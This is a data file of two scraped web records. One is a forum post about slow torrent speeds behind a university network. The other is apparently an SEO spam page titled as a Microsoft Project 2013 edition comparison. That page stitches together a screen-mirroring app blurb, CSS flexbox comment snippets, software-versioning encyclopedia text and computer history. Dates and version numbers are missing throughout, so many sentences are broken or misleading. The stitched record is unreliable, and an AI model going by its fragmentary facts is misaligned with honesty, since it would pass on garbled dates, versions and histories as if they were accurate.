{"text": "i am having problems downloading with torrents at speed, the maximum i seem to be getting on any torrent is 7kb/s. regardless of the seeder/leecher ratio. I recently upgraded my pc and thus installed windows on a new hdd. Before i upgraded i was getting the full speed of 2mb (around 230kb/s) and i wasnt connectable. I cant become connectable because i am living in halls of residence and i think there is a firewall somewhere down the line. (I have a LAN socket in my wall for internetl). I am using Sygate Personal Firewall with the same set-up as i had before, and as far as im concerned i have exactly the same software set up as before. Im using Bittornado, which i have never had a problem with.\nCould it be my LAN adapter drivers? It seems to be the only thing that i have changed. Im using a new MSI k9ngm motherboard which uses Nvidia network drivers (Nvidia C51G/C51PV chipset i think). I have also got a new program running through my firewall; NDIS user mode I/O driver?!\nI have checked all options regarding restricting speed and spent hours configuring my computer to try and get this working...please dont tell me to go to portforward.com!!\nAny help appreciated", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 276, "token_count_with_eod": 277, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Difference between microsoft project 2013 standard and professional free.Software engineering\nProject Server is useful in portfolio management and team collaboration tools. Only Project Professional contains a Generic Resource checkbox. Microsoft no longer offers downloads of the obsolete trial versions of Microsoft Project Clients (Standard and Professional) for versions , MS Project Professional can connect to Project Server. · MS Project Professional has a very nice “Team Organizer” view that graphically shows resource.\nDifference between microsoft project 2013 standard and professional free\nWith Project Online and Project Server, additional uses can be leveraged for larger organizations such as SharePoint integration. Sign In. This is the client читать статью that allows access to the server. Chinese, Traditional. At the bottom of this entry is a brief comparison of the Project Professional and Standard versions.\nMicrosoft Project FAQs | Questions About Project.Microsoft Project Pro vs Project Standard – What’s the Difference? – Royal Discount\nThis version is free to download and install. Screen Stream Mirroring Free works like any other standard video-sharing template.\nIt is compatible with most media players and web browsers. However the main difference between this and similar systems is that it can be used in conjunction with smart televisions.\nPopular streaming servers such as Twitch and Facebook can likewise be employed. All controls are highly intuitive, so the user will not have to possess any previous experience. A built-in widget provides a live camera overlay during any stream so that the user will know what others are seeing. A timer can be set in the event that the screen needs to be locked after a predetermined period of time. Multiple connections can be made at the same time, idea for webcasts and similar group events.\nLaws concerning the use of this software vary from country to country. We do not encourage or condone the use of this program if it is in violation of these laws. Softonic may receive a referral fee if you click or buy any of the products featured here.\nWould you happen to know how I could code in a horizontal split like they have on Code Pen that separates the top of the window and the bottom of the window and moves fluidly when the bar is moved, with flexbox framework?\nAny help would be appreciated, thanks! Flexbox does make the situation easier though. Basically if the flex items have flex: 1; they will fill the area, so you just resize one of them to a specific height or width and the other will fill the remaining space. So no math. Do you know of any working examples of jQuery UI Draggable for a horizontal split pane? Using this:.\nI found this article confusing. Perhaps not the best place to ask, but I am struggling with making a responsive flexbox fluid layout.\nWhat I want is 3 breakpoints like this: 1 3 rows containers vertical, small screen 2 2 columns, 2 rows medium screen 3 3 columns large screen 1 en 3 are easy, I just change the flex-direction from column to row. But how about 2?\nSo basically it must look like:. Gonna answer my own question. The reason I could not get it to work is because IE11 does not like a max-width to be set on any flex-item. If you do, it wrongly calculates the space around or between the items.\nEvert, I just ran into that same issue! Great article, thanks. Regarding the the browser support table, I think that IE11 may have full support of the specification. Does using flexbox responsibly meaning coding the site via flexbox and usual css positioning methods as a fall back for browsers who dont support flexbox, coding the layout twice?\nJust thinking workflow wise…. Thanks Chris! This is an excellent Flexbox reference. Flexbox is a thing of beauty! So in order to prevent that we could set max-width on the flex container, but that cancels out the centering for some reason and the page flushes left.\nSo the only other possibility is to set a max-width on one or more flex-items…but those will break in IE11 because of some bug. In short: flexbox will only work practically when using the full screen width and not limiting any flexible item with a max-width. As soon as you want to set a limit to any item, it falls apart. This really annoyed me and was broken for a bit, so I wanted to share in case anyone ever comes across this in the future. Also, very important. It breaks it for some reason.\nI hope this helps someone! I hope this helps! Chris, this example does not work in IE Those are deprecated properties. Also best in practice to let a tool like Autoprefixer deal with inserting those older properties for you when needed. Amazing writeup and excellently explained, you saved me fairly a LOT of time I would off spent learning all this combining all the broken and outdated articles over the web 😀 thank you so much!\nThis is a great article. But still a very good and informative article. Is there a way to specify a minimum for inter-elements spacing when using flex-wrap: wrap;? To add spacing, use margin-right and margin-bottom.\nGive the container the same, but negative margin to still use the full width. I get how to center the flex items themselves, but how would you center the container itself?\nAnd is that something one would even want to do? Hi Chris! Very nice article! I had bookmarked the article before and have come back to it today as a reference.\nReally like the re-haul, makes it even more useful! Cheers to you, Chris. Great work on the updated format! Ry, good point. I happen to use Autoprefixer, which added this IE-specific property name in for me. I love all that can be done with the flex box model, now only if all the browser could support it the same way! Thanks so much for updating this post — by far the easiest-to-understand guide to flexbox ever written.\nI created a flex box and arranhed the items in it in a column layout. Is there an easy way to center everything in a container box when arranging elements as columns? Hope this makes sense. If you flow the elements by column vertically , the justify-content: center will really display the elements in the center bit of the flex box vertically, i,e, some space at the top, then your elements, then some space at the bottom.\nWhat you wanted is for each element to center align horizontally, which you can probably achieve by using text-align property. Thanks for getting back to me so quickly. Does Compass support flex box? I see that they have what seems to be the old version of flex box in the documentation. But then on codepen. Like include display-flex? Bit of a long shot here, but do any Email clients support Flex box..? Would be useful in HTML emailers to rearrange the order of elements.\nReally frustrating…. You have obviously given a lot of thought to how to present this information as clearly as possible.\nOutstanding work — thanks. How do you all know what works in which browser version? Where is flexbox standing now for support? Hi, I was wondering if anyone could help me out with a flexbox problem. This kinda works, but there is a big gap between the five divs across the top of the page and the sixth div below them.\nI need to know how to get rid of the gap. Here is the Codepen:. If you have time, I was hoping you might be able to elaborate on the second one a little. Time for bed in the UK though. It doesnt look good in safari, even doesnt look anyhow. I gave up on Safari. Not supporting it on my sites. Inside this container I have 3 divs. I want last one footer to be always at the bottom of this page. Is this possible to do? I know it is of course ; but I want to use only flex-box model. Ok, i got it, there was no question xD Sorry.\nIf any possible on that particular IE alignment modification style-sheet. I am working with flexbox on a few different projects now and love it. Only downside is all the prefixes that you need.\nFor my projects I made a less mixin stylesheet that has been tested and works in the most recent browsers latest version Hoping to help some more people out I put it on my github, so if you want a little help getting started you can grab it there github. Wanted to spread the word, since there seems to be some confusion around this property flying around in the wake of Firefox previously not having supported it. Could anyone help me with this? I was wroten some code reading article.\nWant to have this:. Try to open this i want to display in this way. But now block number four is moved to center and on the bottom of block number two whole layout.\nI want to get it on the right side of the block number two, but below of the block number three. Inside this container, I have two items.\nA content area and a footer. I want the footer to have a set height of 52px and I want the content region to automatically fill the rest of the empty space. I want to be able to infinitely expand the browser window and always have my content area fill the empty space and I never want the footer to change size.\nI started on an idea for HTML as a presentation format using flex. Can someone point me to a tutorial or demo of using iframe within a flexbox container. Alternatively is there an easy solution you could give me here. I believe there is no better place on the web to start learning about flex. Thank you for your work. Any comments on how valid the above article is. If it is valid is there are work around to still using flex-box for page layout without the performace hit?\nI kind of agree with the article. The flexbox is more suitable for dynamic content think about displaying a random amount of images of a random size , where the grid layout is preferable for known content areas. Both can adjust for the screensize, but are optimized for different applications. The specification says flex: auto is flex: 1 1 main-size , to be distinguished from flex: 1 1 auto. This is currently under discussion, like it says in the big red box there.\nThe shorthand resets things in appropriate ways, and will therefore result in fewer cascading errors. Please use the shorthand! Maybe this will help others to visualize it this way also. Question: why do you have Applies to: parent flex container element only next to flex-flow? There is currently a crippling bug in Firefox that makes any non-trivial implementation of flex unfeasible.\nThanks for the article, helped me a great deal bringing my LESS-implementation and Bower package up to date! I would apreciate any help. Thanks in advance. Kudos for taking the time to make this super intuitive. This is going to be an amazing feature right now. Sean Fiorritto sp? So I was wandering, is there a good way of making the child elements of the flex grid not automatically span to the full width of the page. Only specifying widths every time is not very effective.\nNo one should have to add a width: 1px; to every element within if they want it to behave properly. Tons of love to Flexbox which just saved my weekend. I just had to redo an entire page which used to use an HTML table to present a matrix.\nIn other words, I had to go from row-major format to column-major format. So I used Flexbox to lay out the columns in left-to-right row direction, and then lay out each child in each row in top-to-bottom column direction.\nGreat work man….. Who has the option to design for only the most of modern browsers. Let me know when you can shiv it back to ie9.\nAdding flex-wrap:wrap; flex-direction: row; or just flex-flow: row wrap; works though. I write css for the screens resolution. Got a container and 3 columns in it. Used this tutorial and it worked great in FF and Chrome, but in Opera it does not.\nCol 1 and 2 are fully apart and the 3rd column is under the 1st. Just to mention I am new here i mean webdesign. That is the whole point of Flexboxes. Try getting rid of the float declarations and playing around some more…. Also, keep in mind that every set of flex items needs a flex container. Nesting flex boxes is how you keep consistency across browsers but it can get really confusing really quick.\nEspecially when you get like 8 levels deep. You also are probably missing LOTS of vendor prefixes to get it working properly across all browsers. For instance, you might want to take a look at the classes that I use in my projects to see what you are missing. I find a difference between resizing my laptop monitor and actually viewing it on other devices.\nAny advice would be greatly appreciated…. In Safari and Chrome, the contents do not fit perfectly in the browser window, and the footer div tag is not visible at all. I noticed when declaring flex property for parent that hold some elements for example ul is flex, li are flex items they are inline or inline-block , when I set to some list item margin-right:auto, it push all other elements to the edge of the parent container?\nThanks, as always, for a very informative post. It really fast-tracked my understanding of using the flexbox model. One of the hardest things to wrap my head around was the flex-grow, flex-shrink and flex-basis properties. Not so much the concept of what they were, but how the actual values played out. This was not the case.\nIt was always greater than 2 times. The grow and shrink values have nothing to do with each other. But the piece that was eluding me, and causing the actual width values to not follow this ratio, is that the ratio is based on the amount that the containers have grown past the basis width or under the base width for flex-shrink. That being said, the key is that if you subtract the basis width from each item width, then the remaining width will follow the ratio.\nBehavior of the last two changes depending of flex-direction. Article says it should be independent. Imagine we have a right-aligned navigation on the very top of our website, but we want it to be centered on medium-sized screens and single-columned on small devices. Alignment was all wonky. Initially I thought this was super helpful.\nAnd if so, should there be a note accompanying that image? Firefox and IE are not. These css are like readymade ui-bootstrap components or angular itself. They work off-the-shelf. Web-pages development are becoming breezy now, given most of the common burden is taken by the framework.\nLove it, thanks! What bothers me, is if you use either flex-direction: row; or flex-direction: column; It dictates what property you use to center objects horizontally. I think align-items and justify-content got mixed up in the example shared. Also, you the container article is missing a height, which ends up in confusing the result of applying align-items and justify-content as the same in that special case. Another great article!\nUsing this page as a guide and reference, I created a web-app based log in template that looks like a phone-app. Thanks for posting. Very interesting. Is there a particular attribution you would like? Thanks for the fix PaulOB! I really like the concept of flexbox, but with needing to support IE9, looking for a way to do that with a graceful fallback.\nTotal noob when it comes to flexbox, but I was wondering something. Great tutorial btw! Please post your code and link to it. Feel free to fork, re-post and question. When using the flex-shorthand in Safari 7 7. In order for Safari to wrap via flexbox -webkit-flex-basis must be auto which is Safaris default value. Good article, I just shared on Twitter. Really like how you formatted it, the other articles on the flex box suck compared to yours. Alex: maybe a bit late, but this is my solution and it works pretty well.\nThe alignment you see is on the last but one line. I often use flexbox with margins and calc, so I might use something like:. To get around this, I use:. This takes account of the percentage difference in the margins. Having just referenced this post for the th time in the last two months, I feel obligated to say that this thing is incredibly useful.\nIn the event anybody is having issues getting it to work on firefox for the 2nd example tomato background. Put the flex items into their own container with no other element in them.\nWow, this article is the coolest material about flexbox. Thank you for the tutorial. It looks like the ccentre might be the cause. Any ideas? I have stumbled upon this interesting StackOverflow question re justify-content: flex-start and margin: auto on a container. Can tell the reader of this in advance. Chris, can you give us an example of what are small-scale layouts and large scale layouts? Thanks so much for the article! I learned a ton. Are there any updates to that article coming down the pipeline?\nI would love to read the two in tandem and better be able to grasp in which situations each would be most appropriate. Less code and it works even with old browsers. Try adding a background color to the. Using inline-block keeps you dependent on the browser default use of extra space left and right of inline li elements.\nThis rendering can be fixed by floating the li elements, but flexbox is a nicer modern way of achieving that effect. I figured out that align-content is only for the cross axis. The reason was that certain page layouts that you see nowadays, were very difficult to implement with the old specification. Take for instance flexbox. Before it was very hard to make a dynamically scaling website.\nOne improvement was the introduction of the calc function that could use percentages and static units together, but even with that it was still hard to read code. Flexbox was a great addition that is very easy to use once you read this article. Nobody is stopping you, but you deny yourself some awesome tools if you do. The same is true for any technology or even life in general, really. Without new features and new capabilities, we atrophy and fail to realize our full potential.\nI suspect that relatively few people want to settle for what we have now and just work with that. It should probably be noted that the W3C documents recommendations, not requirements. After all, she already has TV, YouTube, and all the toys she needs at home :. Just fyi, no reply needed. I much preferred the old layout for this article. Seeing the parent and child examples side by side meant it was easier to compare behaviours and to pick the right approach.\nI want to put a link on images wich are in a contener flexbox. Can somebody can give me an exemple about how to do? If you want help, you need to post your CSS code as well. I replaced the images with images from LoremPixel just to give me something to look at. According to caniuse.\nSo, is the above table wrong? Hi , I need to align all elements inside flex container to each other. Suppose I have made two div of equal height using flex and now I want to make the all the elements inside the div to align to each each other.\nIs that possible? This is an excellent guide and I pretty much learned how to layout a page in about an hour using this. I cannot wait to test it out more and see how it all works in different scenarios.\nI am trying to replace a grid layout where I used display: table and table-cell to align content vertically with flexbox. My problem with flexbox is, that I can not get a second child item to align vertically. What am I doing wrong here? Who ever wrote this article forgot to put information that flex-shrink if put to 0 prevents item to shrink and maintain its original size. This information could have saved me 4 hours of work. My boss says flexbox is stupid.\nAnd we call it progress. This is an awesome post. It has helped me several times. I am having one issue that I cannot figure out. Would anyone be willing to comment on this Codepen? Thanks, Chris. Thank you for the information you have put together. This is just brilliant. One of the examples Numbered Tomato boxes that wrap uses webkit-flex-flow, instead of just flex-flow, so the example becomes specific to webkit only.\nI have encountered a bug on firefox that does not allow elements to be flex containers. It took me AGES to find that out, so I wanna share this with other folks that might be going though the pain I have just experienced!\nShould prefix code be inserted as a safeguard, OR is it deleterious to add vendor flex prefix code if said vendor has provided full flex compliance in more recent browser versions?\nYou can get some useful insights and ones very specific to your site and users by installing Google Analytics. With the statistics it gives you, you can see the browser breakdown of the people who come to your site. I think that would let you know how much of a need there really is for support for given browser versions. I just want to say thank you.\nIt has been just so helpful. Great work. Much appreciated. Thank you. Great stuff in here, but I am obviously missing some basics from my end. If somebody can explain. I am about to achieve from a last example full page with all these elements. ASIDE2 — purple part to be bellow. MAIN — blue part. Thank you, Igor. Thanks for this great tutorial! The CodePen examples took a little adjusting to work for me on Firefox I had to remove the -webkit prefix from -webkit-flex-flow on examples 1 and 2.\nNice one, I have a question tho, with this new knowledge I wanted to try my skills on some kind of framework. But why do the two col-1 at the top not have the same width as the col-2? Is it possible to have a max-width on the container and then center that container? I suppose If you consider that all your visitors will have a recent browser, you can use only flexbox.\nIf some of them still use ie6 and you have to enable them to use your website, you have to propose another way to display…. Edit suggestion: In the flex-direction section, the visual examples do not match the order shown in the css code snippet. Since all the other sections match in order from what the visual example is with the code snippets, I was confused for a bit.\nSorry about missing html in my comment above. Seems flex wrap could be a bit more flexible, if it support indentation and hanging indentation, as for paragraphs. Use case: a bunch of thumbnails with dates underneath, one flexbox filled for each month, say. Hi, great tutorial. Is it possible to use flex to make a perfect grid with some square boxes of side double than other square boxes.\nThe grid is supposed to contain only two kind of boxes-small and big with side double to that of small box. So please try to anwer in easy words : I have taken the code from the Flexbox at the beginning of the website. So could someone please give me a code I am able to paste in my code?\nAs far as now the code is:. Christian Hi, I am not a code pro, but even I could see, that your code is like scrambled eggs. I think you should start a new with a clean HTML and keep it much simpler. Hey, I just wanted to say that this was my most-visited reference page of You display things that work. Henry I think you can overwrite default setting or your setting of align-items by align-self: … ; on the flex item.\nJust found myself with this site open every day. Can not code proper flexbox designs without it. Thank you Chris! You make my life better! Greets from Germany. Thank you for the great work. The figures really make things much easier. It would be even better if there is a real webpage example built with Flexbox, like a more complete version than the last example, so that we can see how Flexbox is used in real life.\nIn the last example, what if we want to set the height on the wrapper? Thanks for this! Will be using a lot more! Thanks for all of the great information, it really helped me to understand flexbox.\nI find that very confusing and would love some additional explanation. You must expand that section to see the content. Very interesting article. So right now I am trying to figure out where to get started and what technologies are safe to use. And what about CSS grid, safe for production with fallbacks? That being said, why would I even bother creating the layout twice and bloat my code if fallbacks for layout are required?\nBeen using this website for a while, always coming back when i need a refresher. So at those larger sizes, although the first-letter styles are still applied, the flex box gets rid of the styles. Why is this so? Thank you! That said, implementation of :first-letter and :first-line is rather painful in the layout engines, so even if the restriction is lifted in the spec, it might be awhile before anyone is willing to implement it.\nThank you so much for this. If sharing this post in other languages helps others then, by all means, please do. Just started to look at using flexbox as I update some educational materials I began 22 years ago yes html2!\nBeen overwhelmed at the change from frames to div. But your site puts things in the language a non-programmer teacher can use to update to something other than frames.\nThanks for such a well done site. Now lets get my hands dirty and brain overloaded. My main frame page is 11 frames. Could you please explain flex-shrink a little better? How does it shrink an item? What do higher numbers mean relative to lower numbers?\nWhat happens if flex-shrink and flex-grow are both specified on the same element, or on 2 sibling elements? In most proprietary software, the first released version of a software product has version 1. Some projects use the major version number to indicate incompatible releases.\nOften programmers write new software to be backward compatible , i. This enables people who run a high availability computer cluster to keep most of the computers up and running while one machine at a time is shut down, upgraded, and restored to service. Often packet headers and file format include a version number — sometimes the same as the version number of the software that wrote it; other times a “protocol version number” independent of the software version number.\nThe code to handle old deprecated protocols and file formats is often seen as cruft. Software in the experimental stage alpha or beta often uses a zero in the first “major” position of the sequence to designate its status. However, this scheme is only useful for the early stages, not for upcoming releases with established software where the version number has already progressed past 0.\nSemantic versioning actually does not specify specific terms for development stages; the comparison is simply in lexicographical order. There are two schools of thought regarding how numeric version numbers are incremented. Most free and open-source software packages, including MediaWiki , treat versions as a series of individual numbers, separated by periods, with a progression such as 1.\nOn the other hand, some software packages identify releases by decimal numbers: 1. The standard GNU version numbering scheme is major. In some cases, developers may decide to reset the major version number. This is sometimes used to denote a new development phase being released. For example, Minecraft Alpha ran from version 1.\nOnce the game was fully released, the major version number again reset to 1. When printed, the sequences may be separated with characters.\nThe choice of characters and their usage varies by the scheme. The following list shows hypothetical examples of separation schemes for the same release the thirteenth third-level revision to the fourth second-level revision to the second first-level revision : [ original research? When a period is used to separate sequences, it may or may not represent a decimal point—see ” Incrementing sequences ” section for various interpretation styles.\nThere is sometimes a fourth, unpublished number which denotes the software build as used by Microsoft. Adobe Flash is a notable case where a four-part version number is indicated publicly, as in Some companies also include the build date. Version numbers may also include letters and other characters, such as Lotus Release 1a. Some projects use negative version numbers. Many projects use a date-based versioning scheme called Calendar Versioning aka CalVer . Ubuntu Linux is one example of a project using calendar versioning; Ubuntu This has the advantage of being easily relatable to development schedules and support timelines.\nSome video games also use date as versioning, for example the arcade game Street Fighter EX. At startup it displays the version number as a date plus a region code, for example ASIA. The hyphens are sometimes omitted. The Wine project formerly used a date versioning scheme, which used the year followed by the month followed by the day of the release; for example, “Wine “.\nMicrosoft Office build numbers are an encoded date:  the first two digits indicate the number of months that have passed from the January of the year in which the project started with each major Office release being a different project , while the last two digits indicate the day of that month.\nSo is the 19th day of the 34th month after the month of January of the year the project started. Other examples that identify versions by year include Adobe Illustrator 88 and WordPerfect Office When a year is used to denote version, it is generally for marketing purposes, and an actual version number also exists.\nThe Python Software Foundation has published PEP — Version Identification and Dependency Specification,  outlining their own flexible scheme, that defines an epoch segment, a release segment, pre-release and post-release segments and a development release segment. TeX has an idiosyncratic version numbering system. The current version is 3. This is a reflection of TeX being very stable, and only minor updates are anticipated.\nIn a similar way, the version number of Metafont asymptotically approaches e. During the era of the classic Mac OS , minor version numbers rarely went beyond “.\nWhen they did, they usually jumped straight to “. Mac OS X departed from this trend, in large part because “X” the Roman numeral for 10 was in the name of the product. As a result, all versions of OS X began with the number The first major release of OS X was given the version number Instead, it was numbered Thus the 11th major version of OS X was labeled ” Even though the “X” was dropped from the name as of macOS Under the “X”-based versioning scheme, the third number instead of the second denoted a minor release, and additional updates below this level, as well as updates to a given major version of OS X coming after the release of a new major version, were titled Supplemental Updates.\nThe Roman numeral X was concurrently leveraged for marketing purposes across multiple product lines. Like Mac OS X itself, the products were not upgrades to previous versions, but brand-new programs.\nAs with OS X, major releases for these programs incremented the second digit and minor releases were denoted using a third digit. Apple’s next macOS release, provisionally numbered The Microsoft Windows operating system was first labelled with standard version numbers for Windows 1. After this Microsoft excluded the version number from the product name. For Windows 95 version 4. After Windows , Microsoft created the Windows Server family which continued the year-based style with a difference: For minor releases, Microsoft suffixed “R2” to the title, e.\nThis style had remained consistent to this date. The client versions of Windows however did not adopt a consistent style. First, they received names with arbitrary alphanumeric suffixes as with Windows ME 4. Then, once again Microsoft adopted incremental numbers in the title, but this time, they were not versioning numbers; the version numbers of Windows 7 , Windows 8 and Windows 8.\nIn Windows 10 , the version number leaped to The successor of Windows 10, Windows 11 , was released on October 5, Despite being named “11”, the new Windows release didn’t bump its major version number to Instead, it stayed at the same version number of Some software producers use different schemes to denote releases of their software.\nBLAG Linux and GNU features very large version numbers: major releases have numbers such as and , while minor releases increase the number by 1 e. Alpha and beta releases are given decimal version numbers slightly less than the major release number, such as Starting at in , the most recent version as of [update] is Urbit uses Kelvin versioning named after the absolute Kelvin temperature scale : software versions start at a high number and count down to version 0, at which point the software is considered finished and no further modifications are made.\nSoftware may have an “internal” version number which differs from the version number shown in the product name and which typically follows version numbering rules more consistently. Java SE 5. Note, however, that Windows NT is only on its fifth major revision, as its first release was numbered 3.\nDifference between microsoft project 2013 standard and professional free\nIn a medieval European counting house , a checkered cloth would be placed on a table, and markers moved around on it according to certain rules, as an aid to calculating sums of money. The Antikythera mechanism is believed to be the earliest known mechanical analog computer , according to Derek J. It was discovered in in the Antikythera wreck off the Greek island of Antikythera , between Kythera and Crete , and has been dated to approximately c. Devices of comparable complexity to the Antikythera mechanism would not reappear until the fourteenth century.\nMany mechanical aids to calculation and measurement were constructed for astronomical and navigation use. A combination of the planisphere and dioptra , the astrolabe was effectively an analog computer capable of working out several different kinds of problems in spherical astronomy. An astrolabe incorporating a mechanical calendar computer   and gear -wheels was invented by Abi Bakr of Isfahan , Persia in The sector , a calculating instrument used for solving problems in proportion, trigonometry, multiplication and division, and for various functions, such as squares and cube roots, was developed in the late 16th century and found application in gunnery, surveying and navigation.\nThe planimeter was a manual instrument to calculate the area of a closed figure by tracing over it with a mechanical linkage. The slide rule was invented around — by the English clergyman William Oughtred , shortly after the publication of the concept of the logarithm. It is a hand-operated analog computer for doing multiplication and division. As slide rule development progressed, added scales provided reciprocals, squares and square roots, cubes and cube roots, as well as transcendental functions such as logarithms and exponentials, circular and hyperbolic trigonometry and other functions.\nSlide rules with special scales are still used for quick performance of routine calculations, such as the E6B circular slide rule used for time and distance calculations on light aircraft. In the s, Pierre Jaquet-Droz , a Swiss watchmaker , built a mechanical doll automaton that could write holding a quill pen. By switching the number and order of its internal wheels different letters, and hence different messages, could be produced. In effect, it could be mechanically “programmed” to read instructions.\nIn —, mathematician and engineer Giovanni Plana devised a Perpetual Calendar machine , which, through a system of pulleys and cylinders and over, could predict the perpetual calendar for every year from AD 0 that is, 1 BC to AD , keeping track of leap years and varying day length.\nThe tide-predicting machine invented by the Scottish scientist Sir William Thomson in was of great utility to navigation in shallow waters. It used a system of pulleys and wires to automatically calculate predicted tide levels for a set period at a particular location.\nThe differential analyser , a mechanical analog computer designed to solve differential equations by integration , used wheel-and-disc mechanisms to perform the integration.\nIn , Sir William Thomson had already discussed the possible construction of such calculators, but he had been stymied by the limited output torque of the ball-and-disk integrators. The torque amplifier was the advance that allowed these machines to work. Starting in the s, Vannevar Bush and others developed mechanical differential analyzers. Charles Babbage , an English mechanical engineer and polymath , originated the concept of a programmable computer. Considered the ” father of the computer “,  he conceptualized and invented the first mechanical computer in the early 19th century.\nAfter working on his revolutionary difference engine , designed to aid in navigational calculations, in he realized that a much more general design, an Analytical Engine , was possible. The input of programs and data was to be provided to the machine via punched cards , a method being used at the time to direct mechanical looms such as the Jacquard loom. For output, the machine would have a printer, a curve plotter and a bell. The machine would also be able to punch numbers onto cards to be read in later.\nThe Engine incorporated an arithmetic logic unit , control flow in the form of conditional branching and loops , and integrated memory , making it the first design for a general-purpose computer that could be described in modern terms as Turing-complete.\nThe machine was about a century ahead of its time. All the parts for his machine had to be made by hand — this was a major problem for a device with thousands of parts. Eventually, the project was dissolved with the decision of the British Government to cease funding. Babbage’s failure to complete the analytical engine can be chiefly attributed to political and financial difficulties as well as his desire to develop an increasingly sophisticated computer and to move ahead faster than anyone else could follow.\nNevertheless, his son, Henry Babbage , completed a simplified version of the analytical engine’s computing unit the mill in He gave a successful demonstration of its use in computing tables in During the first half of the 20th century, many scientific computing needs were met by increasingly sophisticated analog computers , which used a direct mechanical or electrical model of the problem as a basis for computation.\nHowever, these were not programmable and generally lacked the versatility and accuracy of modern digital computers. The differential analyser , a mechanical analog computer designed to solve differential equations by integration using wheel-and-disc mechanisms, was conceptualized in by James Thomson , the elder brother of the more famous Sir William Thomson. The art of mechanical analog computing reached its zenith with the differential analyzer , built by H.\nThis built on the mechanical integrators of James Thomson and the torque amplifiers invented by H. A dozen of these devices were built before their obsolescence became obvious. By the s, the success of digital electronic computers had spelled the end for most analog computing machines, but analog computers remained in use during the s in some specialized applications such as education slide rule and aircraft control systems.\nBy , the United States Navy had developed an electromechanical analog computer small enough to use aboard a submarine. This was the Torpedo Data Computer , which used trigonometry to solve the problem of firing a torpedo at a moving target. During World War II similar devices were developed in other countries as well. Early digital computers were electromechanical ; electric switches drove mechanical relays to perform the calculation. These devices had a low operating speed and were eventually superseded by much faster all-electric computers, originally using vacuum tubes.\nThe Z2 , created by German engineer Konrad Zuse in , was one of the earliest examples of an electromechanical relay computer. In , Zuse followed his earlier machine up with the Z3 , the world’s first working electromechanical programmable , fully automatic digital computer.\nIt was quite similar to modern machines in some respects, pioneering numerous advances such as floating-point numbers. Rather than the harder-to-implement decimal system used in Charles Babbage ‘s earlier design , using a binary system meant that Zuse’s machines were easier to build and potentially more reliable, given the technologies available at that time.\nZuse’s next computer, the Z4 , became the world’s first commercial computer; after initial delay due to the Second World War, it was completed in and delivered to the ETH Zurich. Purely electronic circuit elements soon replaced their mechanical and electromechanical equivalents, at the same time that digital calculation replaced analog.\nThe engineer Tommy Flowers , working at the Post Office Research Station in London in the s, began to explore the possible use of electronics for the telephone exchange.\nExperimental equipment that he built in went into operation five years later, converting a portion of the telephone exchange network into an electronic data processing system, using thousands of vacuum tubes.\nThe German encryption machine, Enigma , was first attacked with the help of the electro-mechanical bombes which were often run by women. Colossus was the world’s first electronic digital programmable computer. It had paper-tape input and was capable of being configured to perform a variety of boolean logical operations on its data, but it was not Turing-complete.\nColossus Mark I contained 1, thermionic valves tubes , but Mark II with 2, valves, was both five times faster and simpler to operate than Mark I, greatly speeding the decoding process. Like the Colossus, a “program” on the ENIAC was defined by the states of its patch cables and switches, a far cry from the stored program electronic machines that came later. Once a program was written, it had to be mechanically set into the machine with manual resetting of plugs and switches.\nIt combined the high speed of electronics with the ability to be programmed for many complex problems. It could add or subtract times a second, a thousand times faster than any other machine. It also had modules to multiply, divide, and square root.\nHigh speed memory was limited to 20 words about 80 bytes. Built under the direction of John Mauchly and J. The machine was huge, weighing 30 tons, using kilowatts of electric power and contained over 18, vacuum tubes, 1, relays, and hundreds of thousands of resistors, capacitors, and inductors.\nThe principle of the modern computer was proposed by Alan Turing in his seminal paper,  On Computable Numbers. Turing proposed a simple device that he called “Universal Computing machine” and that is now known as a universal Turing machine.\nHe proved that such a machine is capable of computing anything that is computable by executing instructions program stored on tape, allowing the machine to be programmable.\nThe fundamental concept of Turing’s design is the stored program , where all the instructions for computing are stored in memory. Von Neumann acknowledged that the central concept of the modern computer was due to this paper. Except for the limitations imposed by their finite memory stores, modern computers are said to be Turing-complete , which is to say, they have algorithm execution capability equivalent to a universal Turing machine.\nEarly computing machines had fixed programs. Changing its function required the re-wiring and re-structuring of the machine. A stored-program computer includes by design an instruction set and can store in memory a set of instructions a program that details the computation. The theoretical basis for the stored-program computer was laid by Alan Turing in his paper. In , Turing joined the National Physical Laboratory and began work on developing an electronic stored-program digital computer.\nHis report “Proposed Electronic Calculator” was the first specification for such a device. The Manchester Baby was the world’s first stored-program computer. Grace Hopper was the first person to develop a compiler for programming language.\nThe Mark 1 in turn quickly became the prototype for the Ferranti Mark 1 , the world’s first commercially available general-purpose computer. At least seven of these later machines were delivered between and , one of them to Shell labs in Amsterdam.\nThe LEO I computer became operational in April  and ran the world’s first regular routine office computer job. The concept of a field-effect transistor was proposed by Julius Edgar Lilienfeld in John Bardeen and Walter Brattain , while working under William Shockley at Bell Labs , built the first working transistor , the point-contact transistor , in , which was followed by Shockley’s bipolar junction transistor in Compared to vacuum tubes, transistors have many advantages: they are smaller, and require less power than vacuum tubes, so give off less heat.\nJunction transistors were much more reliable than vacuum tubes and had longer, indefinite, service life. Transistorized computers could contain tens of thousands of binary logic circuits in a relatively compact space. However, early junction transistors were relatively bulky devices that were difficult to manufacture on a mass-production basis, which limited them to a number of specialised applications.\nAt the University of Manchester , a team under the leadership of Tom Kilburn designed and built a machine using the newly developed transistors instead of valves. However, the machine did make use of valves to generate its kHz clock waveforms and in the circuitry to read and write on its magnetic drum memory , so it was not the first completely transistorized computer. Atalla and Dawon Kahng at Bell Labs in The next great advance in computing power came with the advent of the integrated circuit IC.\nThe idea of the integrated circuit was first conceived by a radar scientist working for the Royal Radar Establishment of the Ministry of Defence , Geoffrey W. Dummer presented the first public description of an integrated circuit at the Symposium on Progress in Quality Electronic Components in Washington, D.\nNoyce also came up with his own idea of an integrated circuit half a year later than Kilby. Produced at Fairchild Semiconductor, it was made of silicon , whereas Kilby’s chip was made of germanium. Noyce’s monolithic IC was fabricated using the planar process , developed by his colleague Jean Hoerni in early In turn, the planar process was based on Mohamed M.\nAtalla’s work on semiconductor surface passivation by silicon dioxide in the late s. The development of the MOS integrated circuit led to the invention of the microprocessor ,   and heralded an explosion in the commercial and personal use of computers. While the subject of exactly which device was the first microprocessor is contentious, partly due to lack of agreement on the exact definition of the term “microprocessor”, it is largely undisputed that the first single-chip microprocessor was the Intel ,  designed and realized by Federico Faggin with his silicon-gate MOS IC technology,  along with Ted Hoff , Masatoshi Shima and Stanley Mazor at Intel.\nSystem on a Chip SoCs are complete computers on a microchip or chip the size of a coin. If not integrated, the 